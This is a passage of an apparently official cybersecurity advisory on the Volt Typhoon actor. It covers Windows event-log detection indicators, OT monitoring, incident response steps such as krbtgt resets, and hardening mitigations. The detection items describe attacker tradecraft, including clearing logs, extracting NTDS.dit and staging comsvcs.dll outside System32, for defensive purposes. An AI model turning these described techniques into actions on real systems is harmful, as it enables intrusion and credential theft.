  3416. &lt;td&gt;25 (Windows&amp;nbsp; Terminal Services Local Session Manager Operational Log)&lt;/td&gt;
  3417. &lt;td&gt;Remote Desktop Services: Session reconnection succeeded: User: {redacted}\{redacted} Session ID: {redacted} Source Network Address: {redacted}&lt;/td&gt;
  3418. &lt;td&gt;Successful reconnection to a Remote Desktop Services session. This may imply lateral movement or unauthorized remote access, especially if the user or session is unexpected.&lt;/td&gt;
  3419. &lt;/tr&gt;
  3420. &lt;tr&gt;
  3421. &lt;td&gt;1017 (Windows System Log)&lt;/td&gt;
  3422. &lt;td&gt;
  3423. &lt;p&gt;Handle scavenged.&lt;/p&gt;
  3424. &lt;p&gt;Share Name: C$&lt;/p&gt;
  3425. &lt;p&gt;File Name:&lt;/p&gt;
  3426. &lt;p&gt;users\{redacted}\downloads\History.zip Durable: 1 Resilient or Persistent: 0 Guidance: The server closed a handle that was previously reserved for a client after 60 seconds.&lt;/p&gt;
  3427. &lt;/td&gt;
  3428. &lt;td&gt;Indicates the server closed a handle for a client. While common in network operations, unusual patterns or locations (like &lt;code&gt;History.zip&lt;/code&gt; in a user’s downloads) may suggest data collection from a local system.&lt;/td&gt;
  3429. &lt;/tr&gt;
  3430. &lt;tr&gt;
  3431. &lt;td&gt;1102 (Windows Security Log)&lt;/td&gt;
  3432. &lt;td&gt;All&lt;/td&gt;
  3433. &lt;td&gt;All Event ID &lt;code&gt;1102&lt;/code&gt; entries should be investigated as logs are generally not cleared and this is a known Volt Typhoon tactic to cover their tracks.&lt;/td&gt;
  3434. &lt;/tr&gt;
  3435. &lt;/tbody&gt;
  3436. &lt;/table&gt;
  3437. &lt;h4&gt;&lt;strong&gt;Monitor and Review OT System Logs&lt;/strong&gt;&lt;/h4&gt;
  3438. &lt;ul&gt;
  3439. &lt;li&gt;Review access logs for communication paths between IT and OT networks, looking for anomalous accesses or protocols.&lt;/li&gt;
  3440. &lt;li&gt;Measure the baseline of normal operations and network traffic for the industrial control system (ICS) and assess traffic anomalies for malicious activity.&lt;/li&gt;
  3441. &lt;li&gt;Configure intrusion detection systems (IDS) to create alarms for any ICS network traffic outside normal operations.&lt;/li&gt;
  3442. &lt;li&gt;Track and monitor audit trails on critical areas of ICS.&lt;/li&gt;
  3443. &lt;li&gt;Set up security incident and event monitoring (SIEM) to monitor, analyze, and correlate event logs from across the ICS network to identify intrusion attempts.&lt;/li&gt;
  3444. &lt;/ul&gt;
  3445. &lt;p&gt;Review CISA’s &lt;a href="https://www.cisa.gov/sites/default/files/publications/Cybersecurity_Best_Practices_for_Industrial_Control_Systems.pdf" title="Recommended Cybersecurity Practices for Industrial Control Systems"&gt;Recommended Cybersecurity Practices for Industrial Control Systems&lt;/a&gt; and the joint advisory, &lt;a href="https://media.defense.gov/2020/Jul/23/2002462846/-1/-1/0/OT_ADVISORY-DUAL-OFFICIAL-20200722.PDF" title="NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems"&gt;NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems&lt;/a&gt;, for further OT system detection and mitigation guidance.&lt;/p&gt;
  3446. &lt;h4&gt;&lt;strong&gt;Use gait to Detect Possible Network Proxy Activities&lt;/strong&gt;&lt;/h4&gt;
  3447. &lt;p&gt;&lt;strong&gt;Use gait[&lt;/strong&gt;&lt;a href="https://github.com/sandialabs/gait" title="sandialabs / gait"&gt;&lt;strong&gt;4&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;] to detect network proxy activities&lt;/strong&gt;. Developed by Sandia National Labs, gait is a publicly available Zeek[&lt;a href="https://zeek.org/" title="Open Source Network Security Monitoring Tool"&gt;5&lt;/a&gt;] extension. The &lt;a href="https://github.com/sandialabs/gait" title="sandialabs / gait"&gt;gait &lt;/a&gt;extension can help enrich Zeek’s network connection monitoring and SSL logs by including additional metadata in the logs. Specifically, gait captures unique TCP options and timing data such as a TCP, transport layer security (TLS), and Secure Shell (SSH) layer inferred round trip times (RTT), aiding in the identification of the software used by both endpoints and intermediaries.&lt;/p&gt;
  3448. &lt;p&gt;While the gait extension for Zeek is an effective tool for enriching network monitoring logs with detailed metadata, it is not specifically designed to detect Volt Typhoon actor activities. The extension’s capabilities extend to general anomaly detection in network traffic, including—but not limited to—proxying activities. Therefore, while gait can be helpful in identifying tactics similar to those used by Volt Typhoon, such as proxy networks and FRP clients for C2 communication, not all proxying activities detected by using this additional metadata are necessarily indicative of Volt Typhoon presence. It serves as a valuable augmentation to current security stacks for a broader spectrum of threat detection.&lt;/p&gt;
  3449. &lt;p&gt;For more information, see Sandia National Lab’s gait GitHub page &lt;a href="https://github.com/sandialabs/gait" title="sandialabs / gait"&gt;sandialabs/gait: Zeek Extension to Collect Metadata for Profiling of Endpoints and Proxies&lt;/a&gt;.&lt;/p&gt;
  3450. &lt;h4&gt;&lt;strong&gt;Review Logins for Impossible Travel&lt;/strong&gt;&lt;/h4&gt;
  3451. &lt;p&gt;&lt;strong&gt;Examine VPN or other account logon times, frequency, duration, and locations.&lt;/strong&gt; Logons from two geographically distant locations within a short timeframe from a single user may indicate an account is being used maliciously. Logons of unusual frequency or duration may indicate a threat actor attempting to access a system repeatedly or maintain prolonged sessions for the purpose of data extraction.&lt;/p&gt;
  3452. &lt;h4&gt;&lt;strong&gt;Review Standard Directories for Unusual Files&lt;/strong&gt;&lt;/h4&gt;
  3453. &lt;p&gt;&lt;strong&gt;Review directories, such as &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;C:\windows\temp\&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; and&lt;/strong&gt; &lt;code&gt;&lt;strong&gt;C:\users\public\&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;, for unexpected or unusual files&lt;/strong&gt;. Monitor these temporary file storage directories for files typically located in standard system paths, such as the &lt;code&gt;System32&lt;/code&gt; directory. For example, Volt Typhoon has been observed downloading &lt;code&gt;comsvcs.dll&lt;/code&gt; to a non-standard folder (this file is normally found in the &lt;code&gt;System32&lt;/code&gt; folder).&lt;/p&gt;
  3454. &lt;h3&gt;&lt;strong&gt;INCIDENT RESPONSE&lt;/strong&gt;&lt;/h3&gt;
  3455. &lt;p&gt;If compromise, or potential compromise, is detected, &lt;strong&gt;organizations should assume full domain compromise&lt;/strong&gt; because of Volt Typhoon’s known behavioral pattern of extracting the &lt;code&gt;NTDS.dit&lt;/code&gt; from the DCs. Organizations should immediately implement the following immediate, defensive countermeasures:&lt;/p&gt;
  3456. &lt;ol&gt;
  3457. &lt;li&gt;&lt;strong&gt;Sever the enterprise network from the internet. Note:&lt;/strong&gt; this step requires the agency to understand its internal and external connections. When making the decision to sever internet access, knowledge of connections must be combined with care to avoid disrupting critical functions.
  3458. &lt;ul&gt;
  3459. &lt;li&gt;If you cannot sever from the internet,&lt;strong&gt; shutdown all non-essential traffic between the affected enterprise network and the internet&lt;/strong&gt;.&lt;/li&gt;
  3460. &lt;/ul&gt;
  3461. &lt;/li&gt;
  3462. &lt;li&gt;&lt;strong&gt;Reset credentials of privileged and non-privileged accounts within the trust boundary of each compromised account&lt;/strong&gt;.
  3463. &lt;ul&gt;
  3464. &lt;li&gt;Reset passwords for all domain users and all local accounts, such as &lt;code&gt;Guest&lt;/code&gt;, &lt;code&gt;HelpAssistant&lt;/code&gt;, &lt;code&gt;DefaultAccount&lt;/code&gt;, &lt;code&gt;System&lt;/code&gt;, &lt;code&gt;Administrator&lt;/code&gt;, and &lt;code&gt;krbtgt&lt;/code&gt;. The &lt;code&gt;krbtgt&lt;/code&gt; account is responsible for handling Kerberos ticket requests as well as encrypting and signing them. The &lt;code&gt;krbtgt&lt;/code&gt; account should be reset twice because the account has a two-password history. The first account reset for the &lt;code&gt;krbtgt&lt;/code&gt; needs to be allowed to replicate prior to the second reset to avoid any issues. See CISA’s &lt;a href="https://www.cisa.gov/news-events/analysis-reports/ar21-134a" title="Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/M365 Compromise"&gt;Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/M365 Compromise&lt;/a&gt; for more information. Although tailored to FCEB agencies compromised in the &lt;a href="https://www.cisa.gov/news-events/alerts/2021/01/07/supply-chain-compromise" title="Supply Chain Compromise"&gt;2020 SolarWinds Orion supply chain compromise&lt;/a&gt;, the steps are applicable to organizations with Windows AD compromise.
  3465. &lt;ul&gt;
  3466. &lt;li&gt;Review access policies to temporarily revoke privileges/access for affected accounts/devices. If it is necessary to not alert the attacker (e.g., for intelligence purposes), then privileges can be reduced for affected accounts/devices to “contain” them.&lt;/li&gt;
  3467. &lt;/ul&gt;
  3468. &lt;/li&gt;
  3469. &lt;li&gt;Reset the relevant account credentials or access keys if the investigation finds the threat actor’s access is limited to non-elevated permissions.
  3470. &lt;ul&gt;
  3471. &lt;li&gt;Monitor related accounts, especially administrative accounts, for any further signs of unauthorized access.&lt;/li&gt;
  3472. &lt;/ul&gt;
  3473. &lt;/li&gt;
  3474. &lt;/ul&gt;
  3475. &lt;/li&gt;
  3476. &lt;li&gt;&lt;strong&gt;Audit all network appliance and edge device configurations with indicators of malicious activity for signs of unauthorized or malicious configuration changes&lt;/strong&gt;. Organizations should ensure they audit the current network device running configuration and any local configurations that could be loaded at boot time. If configuration changes are identified:
  3477. &lt;ul&gt;
  3478. &lt;li&gt;Change all credentials being used to manage network devices, to include keys and strings used to secure network device functions (SNMP strings/user credentials, IPsec/IKE preshared keys, routing secrets, TACACS/RADIUS secrets, RSA keys/certificates, etc.).&lt;/li&gt;
  3479. &lt;li&gt;Update all firmware and software to the latest version.&lt;/li&gt;
  3480. &lt;/ul&gt;
  3481. &lt;/li&gt;
  3482. &lt;li&gt;&lt;strong&gt;Report the compromise to an authoring agency &lt;/strong&gt;(see the Contact Information section).&lt;/li&gt;
  3483. &lt;li&gt;For organizations with cloud or hybrid environments, &lt;strong&gt;apply best practices for identity and credential access management.&amp;nbsp;&lt;/strong&gt;
  3484. &lt;ul&gt;
  3485. &lt;li&gt;Verify that all accounts with privileged role assignments are cloud native, not synced from Active Directory.&lt;/li&gt;
  3486. &lt;li&gt;Audit conditional access policies to ensure Global Administrators and other highly privileged service principals and accounts are not exempted.&lt;/li&gt;
  3487. &lt;li&gt;Audit privileged role assignments to ensure adherence to the principle of least privilege when assigning privileged roles.&lt;/li&gt;
  3488. &lt;li&gt;Leverage just-in-time and just-enough access mechanisms when administrators need to elevate to a privileged role.&lt;/li&gt;
  3489. &lt;li&gt;In hybrid environments, ensure federated systems (such as AD FS) are configured and monitored properly.&lt;/li&gt;
  3490. &lt;li&gt;Audit Enterprise Applications for recently added applications and examine the API permissions assigned to each.&lt;/li&gt;
  3491. &lt;/ul&gt;
  3492. &lt;/li&gt;
  3493. &lt;li&gt;&lt;strong&gt;Reconnect to the internet.&lt;/strong&gt; &lt;strong&gt;Note:&lt;/strong&gt; The decision to reconnect to the internet depends on senior leadership’s confidence in the actions taken. It is possible—depending on the environment—that new information discovered during pre-eviction and eviction steps could add additional eviction tasks.&lt;/li&gt;
  3494. &lt;li&gt;&lt;strong&gt;Minimize and control use of remote access tools and protocols&lt;/strong&gt; by applying best practices from joint &lt;a href="https://www.cisa.gov/resources-tools/resources/guide-securing-remote-access-software" title="Guide to Securing Remote Access Software"&gt;Guide to Securing Remote Access Software&lt;/a&gt; and joint Cybersecurity Information Sheet: &lt;a href="https://media.defense.gov/2022/Jun/22/2003021689/-1/-1/0/CSI_KEEPING_POWERSHELL_SECURITY_MEASURES_TO_USE_AND_EMBRACE_20220622.PDF" title="Keeping PowerShell: Security Measures to Use and Embrace"&gt;Keeping PowerShell: Security Measures to Use and Embrace&lt;/a&gt;.&lt;/li&gt;
  3495. &lt;li&gt;&lt;strong&gt;Consider sharing technical information with an authoring agency and/or a sector-specific information sharing and analysis center.&lt;/strong&gt;&lt;/li&gt;
  3496. &lt;/ol&gt;
  3497. &lt;p&gt;For more information on incident response and remediation, see:&lt;/p&gt;
  3498. &lt;ul&gt;
  3499. &lt;li&gt;Joint advisory &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-245a" title="Technical Approaches to Uncovering and Remediating Malicious Activity"&gt;Technical Approaches to Uncovering and Remediating Malicious Activity&lt;/a&gt;&lt;u&gt;.&lt;/u&gt; This advisory provides incident response best practices.&lt;/li&gt;
  3500. &lt;li&gt;CISA’s &lt;a href="https://www.cisa.gov/resources-tools/resources/federal-government-cybersecurity-incident-and-vulnerability-response-playbooks" title="Federal Government Cybersecurity Incident and Vulnerability Response Playbooks"&gt;Federal Government Cybersecurity Incident and Vulnerability Response Playbooks&lt;/a&gt;. Although tailored to U.S. Federal Civilian Executive Branch (FCEB) agencies, the playbooks are applicable to all organizations. The incident response playbook provides procedures to identify, coordinate, remediate, recover, and track successful mitigations from incidents.&lt;/li&gt;
  3501. &lt;li&gt;Joint &lt;a href="https://www.cisa.gov/resources-tools/resources/water-and-wastewater-sector-incident-response-guide-0" title="Water and Wastewater Sector - Incident Response Guide"&gt;Water and Wastewater Sector - Incident Response Guide&lt;/a&gt;. This joint guide provides incident response best practices and information on federal resources for Water and Wastewater Systems Sector organizations.&lt;/li&gt;
  3502. &lt;/ul&gt;
  3503. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  3504. &lt;p&gt;These mitigations&lt;strong&gt; &lt;/strong&gt;are intended for IT administrators in critical infrastructure organizations. The authoring agencies recommend that software manufactures incorporate secure by design and default principles and tactics into their software development practices to strengthen the security posture for their customers.&lt;/p&gt;
  3505. &lt;p&gt;For information on secure by design practices that may protect customers against common Volt Typhoon techniques, see joint guide &lt;a href="https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-techniques" title="Identifying and Mitigating Living off the Land Techniques"&gt;Identifying and Mitigating Living off the Land Techniques&lt;/a&gt; and joint Secure by Design Alert &lt;a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-security-design-improvements-soho-device-manufacturers" title="Secure by Design Alert: Security Design Improvements for SOHO Device Manufacturers"&gt;Security Design Improvements for SOHO Device Manufacturers&lt;/a&gt;.&lt;/p&gt;
  3506. &lt;p&gt;For more information on secure by design, see CISA’s &lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;Secure by Design&lt;/a&gt; webpage and &lt;a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software"&gt;joint guide&lt;/a&gt;.&lt;/p&gt;
  3507. &lt;p&gt;The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of Volt Typhoon activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&lt;/p&gt;
  3508. &lt;h4&gt;&lt;strong&gt;IT Network Administrators and Defenders&lt;/strong&gt;&lt;/h4&gt;
  3509. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Harden the Attack Surface&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3510. &lt;ul&gt;
  3511. &lt;li&gt;&lt;strong&gt;Apply patches for internet-facing systems within a risk-informed span of time &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#MitigatingKnownVulnerabilities1E" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 1E&lt;/a&gt;]. Prioritize patching critical assets, &lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog"&gt;known exploited vulnerabilities&lt;/a&gt;, and vulnerabilities in appliances known to be frequently exploited by Volt Typhoon (e.g., Fortinet, Ivanti, NETGEAR, Citrix, and Cisco devices).&lt;/li&gt;
  3512. &lt;li&gt;&lt;strong&gt;Apply vendor-provided or industry standard hardening guidance&lt;/strong&gt; to strengthen software and system configurations. &lt;strong&gt;Note:&lt;/strong&gt; As part of CISA’s &lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;Secure by Design campaign&lt;/a&gt;, CISA urges software manufacturers to prioritize secure by default configurations to eliminate the need for customer implementation of hardening guidelines.&lt;/li&gt;
  3513. &lt;li&gt;&lt;strong&gt;Maintain and regularly update an inventory of all organizational IT assets&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#AssetInventory1A" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 1A&lt;/a&gt;].&lt;/li&gt;
  3514. &lt;li&gt;&lt;strong&gt;Use third party assessments to validate current system and network security compliance&lt;/strong&gt; via security architecture reviews, penetration tests, bug bounties, attack surface management services, incident simulations, or table-top exercises (both announced and unannounced) [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#ThirdPartyValidationofCybersecurityControlEffectiveness1F" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 1F&lt;/a&gt;].&lt;/li&gt;
  3515. &lt;li&gt;&lt;strong&gt;Limit internet exposure of systems when not necessary&lt;/strong&gt;. An organization’s primary attack surface is the combination of the exposure of all its internet-facing systems. Decrease the attack surface by not exposing systems or management interfaces to the internet when not necessary.&lt;/li&gt;
  3516. &lt;li&gt;&lt;strong&gt;Plan “end of life” for technology beyond manufacturer supported lifecycle&lt;/strong&gt;. Inventories of organizational assets should be leveraged in patch and configuration management as noted above. Inventories will also enable identification of technology beyond the manufacturer’s supported lifecycle. Where technology is beyond “end of life” or “end of support,” additional cybersecurity vigilance is necessary, and may warrant one or more of the following:
  3517. &lt;ul&gt;
  3518. &lt;li&gt;Supplemental support agreements;&lt;/li&gt;
  3519. &lt;li&gt;Additional scanning and testing;&lt;/li&gt;
  3520. &lt;li&gt;Configuration changes;&lt;/li&gt;
  3521. &lt;li&gt;Isolation;&lt;/li&gt;
  3522. &lt;li&gt;Segmentation; and&lt;/li&gt;
  3523. &lt;li&gt;Development of forward-looking plans to facilitate replacement.&lt;/li&gt;
  3524. &lt;/ul&gt;
  3525. &lt;/li&gt;
  3526. &lt;/ul&gt;
  3527. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Secure Credentials&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3528. &lt;ul&gt;
  3529. &lt;li&gt;&lt;strong&gt;Do not store credentials on edge appliances/devices. &lt;/strong&gt;Ensure edge devices do not contain accounts that could provide domain admin access.&lt;/li&gt;
  3530. &lt;li&gt;&lt;strong&gt;Do not store plaintext credentials on any system&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SecureSensitiveData2L" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2L&lt;/a&gt;]. Credentials should be stored securely—such as with a credential/password manager or vault, or other privileged account management solutions—so they can only be accessed by authenticated and authorized users.&lt;/li&gt;
  3531. &lt;li&gt;&lt;strong&gt;Change default passwords &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#ChangingDefaultPasswords2A" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2A&lt;/a&gt;] and ensure they meet the policy requirements for complexity.&lt;/li&gt;
  3532. &lt;li&gt;Implement and enforce an organizational system-enforced policy that:
  3533. &lt;ul&gt;
  3534. &lt;li&gt;&lt;strong&gt;Requires passwords for all IT password-protected assets to be at least 15 characters;&lt;/strong&gt;&lt;/li&gt;
  3535. &lt;li&gt;&lt;strong&gt;Does not allow users to reuse passwords for accounts, applications, services&lt;/strong&gt;, etc., [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#UniqueCredentials2C" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2C&lt;/a&gt;]; and&lt;/li&gt;
  3536. &lt;li&gt;&lt;strong&gt;Does not allow service accounts/machine accounts to reuse passwords&lt;/strong&gt; from member user accounts.&lt;/li&gt;
  3537. &lt;/ul&gt;
  3538. &lt;/li&gt;
  3539. &lt;li&gt;&lt;strong&gt;Configure Group Policy settings to prevent web browsers from saving passwords&lt;/strong&gt; and disable autofill functions.&lt;/li&gt;
  3540. &lt;li&gt;&lt;strong&gt;Disable the storage of clear text passwords in LSASS memory&lt;/strong&gt;.&lt;/li&gt;
  3541. &lt;/ul&gt;
  3542. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Secure Accounts&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3543. &lt;ul&gt;
  3544. &lt;li&gt;&lt;strong&gt;Implement &lt;/strong&gt;&lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="Implementing Phishing-Resistant MFA"&gt;&lt;strong&gt;phishing-resistant MFA&lt;/strong&gt;&lt;/a&gt; for access to assets [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#PhishingResistantMultifactorAuthenticationMFA2H" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2H&lt;/a&gt;].&lt;/li&gt;
  3545. &lt;li&gt;&lt;strong&gt;Separate user and privileged accounts&lt;/strong&gt;.
  3546. &lt;ul&gt;
  3547. &lt;li&gt;User accounts should never have administrator or super-user privileges [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SeparatingUserandPrivilegedAccounts2E" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2E&lt;/a&gt;].&lt;/li&gt;
  3548. &lt;li&gt;Administrators should never use administrator accounts for actions and activities not associated with the administrator role (e.g., checking email, web browsing).&lt;/li&gt;
  3549. &lt;/ul&gt;
  3550. &lt;/li&gt;
  3551. &lt;li&gt;&lt;strong&gt;Enforce the principle of least privilege&lt;/strong&gt;.
  3552. &lt;ul&gt;
  3553. &lt;li&gt;&lt;strong&gt;Ensure administrator accounts only have the minimum permissions&lt;/strong&gt; necessary to complete their tasks.&lt;/li&gt;
  3554. &lt;li&gt;&lt;strong&gt;Review account permissions for default/accounts for edge appliances/devices and remove domain administrator privileges,&lt;/strong&gt; if identified.&lt;/li&gt;
  3555. &lt;li&gt;&lt;strong&gt;Significantly limit the number of users with elevated privileges&lt;/strong&gt;. Implement continuous monitoring for changes in group membership, especially in privileged groups, to detect and respond to unauthorized modifications.&lt;/li&gt;
  3556. &lt;li&gt;&lt;strong&gt;Remove accounts from high-privilege groups like Enterprise Admins and Schema Admins&lt;/strong&gt;. Temporarily reinstate these privileges only when necessary and under strict auditing to reduce the risk of privilege abuse.&lt;/li&gt;
  3557. &lt;li&gt;&lt;strong&gt;Transition to Group Managed Service Accounts (gMSAs) &lt;/strong&gt;where suitable for enhanced management and security of service account credentials. gMSAs provide automated password management and simplified Service Principal Name (SPN) management, enhancing security over traditional service accounts. See Microsoft’s &lt;a href="https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview" title="Group Managed Service Accounts Overview"&gt;Group Managed Service Accounts Overview&lt;/a&gt;&lt;u&gt;.&lt;/u&gt;&lt;/li&gt;
  3558. &lt;/ul&gt;
  3559. &lt;/li&gt;
  3560. &lt;li&gt;&lt;strong&gt;Enforce strict policies via Group Policy and User Rights Assignments&lt;/strong&gt; to limit high-privilege service accounts.&lt;/li&gt;
  3561. &lt;li&gt;&lt;strong&gt;Consider using a privileged access management (PAM) solution&lt;/strong&gt; to manage access to privileged accounts and resources [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SecureSensitiveData2L" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2L&lt;/a&gt;]. PAM solutions can also log and alert usage to detect any unusual activity.&lt;/li&gt;
  3562. &lt;li&gt;&lt;strong&gt;Complement the PAM solution with role-based access control (RBAC)&lt;/strong&gt; for tailored access based on job requirements. This ensures that elevated access is granted only when required and for a limited duration, minimizing the window of opportunity for abuse or exploitation of privileged credentials.&lt;/li&gt;
  3563. &lt;li&gt;&lt;strong&gt;Implement an Active Directory tiering model to segregate administrative accounts&lt;/strong&gt; based on their access level and associated risk. This approach reduces the potential impact of a compromised account. See Microsoft’s &lt;a href="https://learn.microsoft.com/en-us/microsoft-identity-manager/pam/tier-model-for-partitioning-administrative-privileges" title="Tier model for partitioning administrative privileges"&gt;PAM environment tier model&lt;/a&gt;.&lt;/li&gt;
  3564. &lt;li&gt;&lt;strong&gt;Harden administrative workstations&lt;/strong&gt; to only permit administrative activities from workstations appropriately hardened based on the administrative tier. See Microsoft’s &lt;a href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-devices" title="Securing devices as part of the privileged access story"&gt;Why are privileged access devices important - Privileged access&lt;/a&gt;.&lt;/li&gt;
  3565. &lt;li&gt;&lt;strong&gt;Disable all user accounts and access to organizational resources of employees on the day of their departure&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#RevokingCredentialsforDepartingEmployees2D" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2G&lt;/a&gt;]&lt;/li&gt;
  3566. &lt;li&gt;&lt;strong&gt;Regularly audit all user, admin, and service accounts &lt;/strong&gt;and remove or disable unused or unneeded accounts as applicable.&lt;/li&gt;
  3567. &lt;li&gt;&lt;strong&gt;Regularly roll NTLM hashes of accounts that support token-based authentication.&lt;/strong&gt;&lt;/li&gt;
  3568. &lt;li&gt;Improve management of hybrid (cloud and on-premises) identity federation by:
  3569. &lt;ul&gt;
  3570. &lt;li&gt;&lt;strong&gt;Using cloud only administrators that are asynchronous with on-premises environments&lt;/strong&gt; and ensuring on-premises administrators are asynchronous to the cloud.&lt;/li&gt;
  3571. &lt;li&gt;&lt;strong&gt;Using CISA’s &lt;/strong&gt;&lt;a href="https://github.com/cisagov/ScubaGear" title="cisagov / ScubaGear"&gt;&lt;strong&gt;SCuBAGear tool&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; to discover cloud misconfigurations in Microsoft cloud tenants&lt;/strong&gt;. SCuBA gear is automation script for comparing Federal Civilian Executive Branch (FCEB) agency tenant configurations against CISA M365 baseline recommendations. SCuBAGear is part of CISA’s Secure Cloud Business Applications (SCuBA) project, which provides guidance for FCEB agencies, securing their cloud business application environments and protecting federal information created, accessed, shared, and stored in those environments. Although tailored to FCEB agencies, the project provides security guidance applicable to all organizations with cloud environments. For more information on SCuBAGear see CISA’s &lt;a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project" title="Secure Cloud Business Applications (SCuBA) Project"&gt;Secure Cloud Business Applications (SCuBA) Project&lt;/a&gt;.&lt;/li&gt;
  3572. &lt;li&gt;&lt;strong&gt;Using endpoint detection and response capabilities to actively &lt;/strong&gt;defend on-premises federation servers.&lt;/li&gt;
  3573. &lt;/ul&gt;
  3574. &lt;/li&gt;
  3575. &lt;/ul&gt;
  3576. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Secure Remote Access Services&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3577. &lt;ul&gt;
  3578. &lt;li&gt;&lt;strong&gt;Limit the use of RDP and other remote desktop services&lt;/strong&gt;. If RDP is necessary, apply best practices, including auditing the network for systems using RDP, closing unused RDP ports, and logging RDP login attempts.&lt;/li&gt;
  3579. &lt;li&gt;&lt;strong&gt;Disable Server Message Block (SMB) protocol version 1 and upgrade to version 3 (SMBv3) &lt;/strong&gt;after mitigating existing dependencies (on existing systems or applications), as they may break when disabled.&lt;/li&gt;
  3580. &lt;li&gt;&lt;strong&gt;Harden SMBv3&lt;/strong&gt; by implementing guidance included in joint &lt;a href="https://www.cisa.gov/resources-tools/resources/stopransomware-guide" title="#StopRansomware Guide"&gt;#StopRansomware Guide&lt;/a&gt; (see page 8 of the guide).&lt;/li&gt;
  3581. &lt;li&gt;&lt;strong&gt;Apply mitigations from the joint &lt;/strong&gt;&lt;a href="https://www.cisa.gov/sites/default/files/2023-06/Guide%20to%20Securing%20Remote%20Access%20Software_clean%20Final_508c.pdf" title="Guide to Securing Remote Access Software"&gt;&lt;strong&gt;Guide to Securing Remote Access Software&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;
  3582. &lt;/ul&gt;
  3583. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Secure Sensitive Data&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3584. &lt;ul&gt;
  3585. &lt;li&gt;&lt;strong&gt;Securely store sensitive data&lt;/strong&gt; (including operational technology documentation, network diagrams, etc.), ensuring that only authenticated and authorized users can access the data.&lt;/li&gt;
  3586. &lt;/ul&gt;
  3587. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Implement Network Segmentation&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3588. &lt;ul&gt;
  3589. &lt;li&gt;&lt;strong&gt;Ensure that sensitive accounts use their administrator credentials only on hardened, secure computers&lt;/strong&gt;. This practice can reduce lateral movement exposure within networks.&lt;/li&gt;
  3590. &lt;li&gt;&lt;strong&gt;Conduct comprehensive trust assessments to identify business-critical trusts and apply necessary controls&lt;/strong&gt; to prevent unauthorized cross-forest/domain traversal.&lt;/li&gt;
  3591. &lt;li&gt;&lt;strong&gt;Harden federated authentication by enabling Secure Identifier (SID) Filtering and Selective Authentication on AD trust relationships&lt;/strong&gt; to further restrict unauthorized access across domain boundaries.&lt;/li&gt;
